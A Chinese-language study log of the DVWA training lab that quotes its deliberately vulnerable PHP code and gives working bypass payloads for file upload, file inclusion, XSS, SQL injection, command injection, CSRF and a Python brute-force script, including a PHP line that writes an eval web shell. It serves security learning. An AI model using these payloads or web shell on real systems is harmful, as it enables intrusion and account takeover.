DVWA学习

DVWA学习

前言

在B站看到了这个40集的web安全渗透教程,便看 了下,前半部分是以DVWA靶场为实验讲解,后半段是讲的工具使用,在实战过程中大流量工具用途不大。我就简单的了解了一下,此处没有进行记录。本文主要是刷DVWA靶场记录。

1
2
3
4
5
6
7
8
9
10
11
DVWA共有十个模块
1.Brute Force(爆破)
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Uplod(文件上传)
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Inj(SQL注入)
8.SQL B Inj(SQL盲注)
9.XSS-ref(反射型xss)
10.xss-stored(存储型xss)

资源

视频资源:哔哩哔哩

网盘资源:链接地址

靶机下载:owaspbwa

文件上传实验

环境

DVWA靶场

实验一

级别:low,无过滤,直接上传php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

实验二

级别:Medium,判断MINE值,上传图片,抓包修改后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

实验三

级别:high,上传图片马结合文件包含利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

文件包含实验

前言

1
2
3
4
5
File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
本地文件包含 LFI
http://xxx/index.php?page=xx.php
远程文件包含 RFI
http://xxx/index.php?page=http://web_server/xxx.php

实验一

级别:low

代码

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

解题方法

1
2
3
http:/xxxx/vulnerabilities/fi/?page=/etc/passwd
http://xxxx/vulnerabilities/fi/?page=/var/www/html/hackable/uploads/low1.jpg
http://xxxx/vulnerabilities/fi/?page=http://xxxx/1.txt

1
2
3
<?php
fputs(fopen("test.php","w"),'<?php eval($_POST['a']);?>')
?>

实验二

级别:medium

代码

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

过滤了下面字符,所以对采用绝对路径的方式包含文件是不会受到任何限制的

1
http:// ,   https://   ,    ../   ,   ..\

方法:

1
2
3
http://xxx/vulnerabilities/fi/?page=..././..././hackable/uploads/1.txt
http://xxxx/vulnerabilities/fi/?page=hthttp://tp://xxx/1.txt
http:/xxxx/vulnerabilities/fi/?page=/etc/passwd

实验三

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

High级别的代码规定只能包含file开头的文件,可以利用file协议绕过防护策略。

  • Tips:因为fnmatch函数适用于PHP >= 4.3.0,因此php版本高于这个才能利用,否则会出现打不开high等级页面。

方法

1
http://xxx/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/1.txt

参考文章

简书

XSS实验

反射型XSS

常用的HTML标签

1
2
3
4
5
6
7
8
9
10
11
<iframe> 
iframe元素会创建包含另外一个文档的内联框架(即行内框架)。

<textarea>
textarea标签定义多行的文本输入控件。

<img>
img元素向网页中嵌入一幅图像。

<script>
<script>标签用于定义客户端脚本,比如JavaScript。script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。必需的 type属性规定脚本的MIME类型。Javascript的常见应用时图像操作、表单验证以及动态内容更新。

常用javaScript方法

1
2
3
4
5
6
7
8
9
10
11
12
13
atert
alert()方法用于显示带有一条指定消息和一个确认按钮的警告框

window.1ocation
window.location对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面。

1ocation.href返回当前显示的文档的完整URL

onload张页面或一幅图像完成加载

onsubmit确认按钮被点击

onerror在加载文档或图像时发生错误

LOW级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>
  • payload
1
<script>alert(1)</script>

medium级别

1
2
3
4
5
6
7
8
9
10
11
12
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

使用str_replace函数将输入中的<script>替换为空

  • payload
1
2
3
4
5
6
7
8
9
10
11
1.大小写绕过:
<ScRipt>alert(1);</ScRipt>
2.双写方式绕过 str_replace()函数
<scr<script>ipt>alert(/xss/);</script>
3.使用非 script 标签的 xss payload
img标签:
<img src=1 onerror=alert('xss')>
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
iframe标签:
<iframe onload=alert(1)>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

high级别

代码

1
2
3
4
5
6
7
8
9
10
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}xxxxxxxxxx high<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {   // Get input   $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );   // Feedback for end user   echo "<pre>Hello ${name}</pre>";}txt

preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。通过imgbody等标签的事件或者iframesrc等标签的构造可利用的js代码。

  • payload
1
2
3
4
5
6
7
8
9
1.使用 img 标签和其编码转换后的 XSS payload
<img src=1 onerror=alert(1)>
<img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<img src=1 onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>
2.使用 iframe 标签
<iframe onload=alert(1)>
3.使用 DATA URL 进行 XSS
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

存储型XSS

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

low级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );

// Sanitize name input
$name = mysql_real_escape_string( $name );

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

//mysql_close();
}

?>

相关函数介绍

1
trim(string,charlist)

函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括\0、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。

1
mysqli_real_escape_string(string,connection)

函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)进行转义。

1
stripslashes(string)

函数删除字符串中的反斜杠。

  • payload
1
2
3
4
message栏的利用:
输入<script>alert(1)</script>,成功弹框:
name栏的利用:
发现前端html中对name有字数长度限制,F12修改即可

medium级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

//mysql_close();
}

?>

相关函数介绍

1
2
3
4
5
strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。

addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。
  • payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.双写绕过

Burpsuite抓包改name参数为:

<sc<script>ript>alert(1)</script>

2.大小写混淆绕过

Burpsuite抓包改name参数为<ScRipt>alert(1);</ScRipt>:

3.使用非 script 标签的 xss payload:

例如:img标签:

Burpsuite抓包改name参数为<img src=1 onerror=alert(1)>

high级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>
  • payload
1
2
正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS
Burpsuite抓包改name参数为<img src=1 onerror=alert(/xss/)>

预防

PHP htmlspecialchars()函数

把预定义的字符转换为HTML实体:

1
2
3
4
5
& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

可以看到,Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:

1
& " ' < >

转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。

参考文章

反射型xss博客

存储型xss博客

工具

kali自带:BeEF

暴力破解

low级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

sql注入

1
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
  • payload
1
2
admin'#
admin' or '1'='1

爆破

抓包intruder模块爆破

medium级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

mysqli_real_escape_string()会将转义特殊字符,一定程度上防止SQL注入,sleep(2)降低了暴力破解速度,方法同low级别

high级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加入了token验证机制,我们每次登录时都必须提交一个token值,服务器将提交的token值与cookie或session中的token值对比,利用了mysql_real_escape_string函数对$user$pass进行了转义处理,防止了sql注入 python脚本进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from bs4 import BeautifulSoup
import requests

#Cookie抓包填入
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0',
'Cookie': 'xxxx'
}
url = "http://xxx/vulnerabilities/brute/index.php"

def get_token(url, header):
r = requests.get(url, headers = header)
html = r.content.decode()
soup = BeautifulSoup(html, "html.parser")
user_token =soup.find_all('input')[3]['value']# 获取Token
return user_token
if __name__ == '__main__':
u = get_token(url, header)
i = 0
for line in open('password.txt'):
pwd = line.strip()
user = 'admin'
payload = {'username': user,'password': pwd,'Login': 'Login','user_token': u}
response = requests.get(url, params = payload, headers = header)
res_len_b = len(response.content.decode())# 格式化输出
if i != 0 and res_len_b != res_len_a:
print("%-3s %-6s %-10s %-8s" %(i + 1, user, pwd, res_len_b))
break
print("%-3s %-6s %-10s %-8s" % (i + 1, user, pwd, res_len_b))
res_len_a = res_len_b
u = get_token(url, header)
i += 1

参考文章

费星瑞博客:brute-force-dvwa

命令注入

前言

相关函数

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE

参数 描述
string 必需。规定被搜索的字符串。
search 必需。规定要搜索的字符串。
如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。
before_search 可选。默认值为 “false” 的布尔值。
如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。

php_uname() 返回了运行 PHP 的操作系统的描述

参数 描述
”a” (此为默认,包含序列”s n r v m”里的所有模式)
”s ” (返回操作系统名称)
”n” (返回主机名)
” r” (返回版本名称)
”v” (返回版本信息)
”m” (返回机器类型)。

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞

命令执行漏洞概念:当web应用程序需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数 在远程服务器上执行任意系统命令

命令执行漏洞

常用命令执行函数

1
2
3
4
5
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数

system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

漏洞利用及绕过姿势

1
2
3
4
| 命令管道符
<>>> 文件重定向符
测试: 0 | dir c:
代码只过滤了部分特殊字符,可以考虑用其他字符进行测试,这边列举一下Window/Linux可利用的特殊字符:

windows支持:di

1
2
3
4
|     直接执行后面的语句      ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 127.0.0.1 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux支持:

1
2
3
4
5
;     前面的执行完执行后面的      ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
ll 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

low级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

未过滤特殊字符

  • payload
1
2
127.0.0.1|cat /etc/passwd
127.0.0.1&cat /etc/passwd

medium级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

str_replace() 函数替换字符串中的一些字符(区分大小写)

str_replace(find,replace,string,count)

参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。

array_keys()函数返回包含数组中所有键名的一个新数组

array_keys(array,value,strict)

参数 描述
array 必需。规定数组。
value 可选。您可以指定键值,然后只有该键值对应的键名会被返回。
strict 可选。与 value 参数一起使用。可能的值:
true - 返回带有指定键值的键名。依赖类型,数字 5 与字符串 “5” 是不同的。
false - 默认值。不依赖类型,数字 5 与字符串 “5” 是相同的。
1
2
3
4
5
6
7
”&&”与” &”的区别:

Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
  • payload
1
2
3
4
过滤了&& ;将他们替换成了空
127.0.0.1|whoami
127.0.0.1&whoami
127.0.0.1&;&whoami

high级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符

  • payload
1
127.0.0.1|whoami

stripslashes() 函数删除由 addslashes() 函数添加的反斜杠
stripslashes函数会删除字符串中的反斜杠,返回已剥离反斜杠的字符串
explode() 函数把字符串打散为数组

参数 描述
separator 必需。规定在哪里分割字符串。
string 必需。要分割的字符串。
limit 可选。规定所返回的数组元素的数目

is_numeric(string)
检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

参考文章:dvwa-Command Injection

CSRF

前言

1
2
3
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用

CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

low级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

mysql_close();
}

?>

检查参数password_newpassword_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制

  • 漏洞利用
1
2
3
4
1.直接让受害者点击链接
http://xxx/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#
2.短链接来隐藏URL
3.构造攻击页面,代码如下
1
2
3
4
5
<img src="http://xxxx/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

medium级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

mysql_close();
}

?>
  • 相关函数
1
2
3
int eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名)
  • 漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名,html攻击文件命名为,主机名.html

High级别

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

利用参考:CSRF

SQL注入

基础知识

1
2
3
4
5
6
7
8
9
1.information_schema.tables:存储着MySql中的所有表。
2.information_schema.columns:存储着MySql中的所有列。
3.table_schema是数据库的名称。
4.table_name是具体的表名。
5.table_type指的是表的类型。
6.group_concat(0x3e,xxx):连接多个字段成一个字段。
7.union操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。
8.information_schema:信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表名,表列的数据类型与访问权限等。
